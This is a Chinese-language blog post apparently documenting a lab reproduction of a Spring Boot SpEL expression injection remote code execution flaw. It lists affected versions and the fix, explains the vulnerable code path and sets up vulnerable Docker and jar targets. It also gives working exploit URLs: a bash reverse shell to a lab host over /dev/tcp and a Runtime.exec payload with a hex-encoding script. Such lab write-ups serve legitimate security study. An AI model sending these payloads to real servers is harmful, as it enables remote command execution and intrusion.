springboot_spEL表达式注入

目录

linux 【centos7 x64】

windows 7 32位


影响版本:

1.1.0-1.1.12
1.2.0-1.2.7
1.3.0
修复方案:升至1.3.1或以上版本
我的测试环境:SpringBoot 1.0

简介

Spring Expression Language是一种强大的表达式语言,Spring开发中经常会用到。正是因为功能强大,导致在某些情况下,用户可以从外部注入SpEl表达,导致命令执行。

原理

  • spring boot 处理参数值出错,流程进入 org.springframework.util.PropertyPlaceholderHelper 类中
  • 此时 URL 中的参数值会用 parseStringValue 方法进行递归解析。
  • 其中 ${} 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞。
     

linux 【centos7 x64】


[root@localhost ~]# docker pull c1o2a3/springboot_spel_rce_bug:1.0
[root@localhost ~]# sudo docker run -d -p 9091:9091 c1o2a3/springboot_spel_rce_bug:1.0



http://192.168.18.131:9091/article?id=1

http://192.168.18.131:9091/article?id=${20/4}

直接使用反弹shell----不可以

http://192.168.18.131:9091/article?id=${bash%20-i%20%3E&%20/dev/tcp/192.168.18.168/443%200%3E&1}


 


windows 7 32位

jar包的需要jre1.8环境运行

https://www.oracle.com/java/technologies/javase-jre8-downloads.html

 springboot-spel-rce-1.0-SNAPSHOT.jar  上网搜索下载

http://192.168.18.129:9091/article?id=1

http://192.168.18.129:9091/article?id=${40*5} 

 




# coding: utf-8

result = ""
target = 'calc'
for x in target:
    result += hex(ord(x)) + ","
print(result.rstrip(','))


root@kali:~# python vb.py
0x63,0x61,0x6c,0x63

http://192.168.18.129:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x63,0x61,0x6c,0x63}))}

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

战神/calmness

你的鼓励是我最大的动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值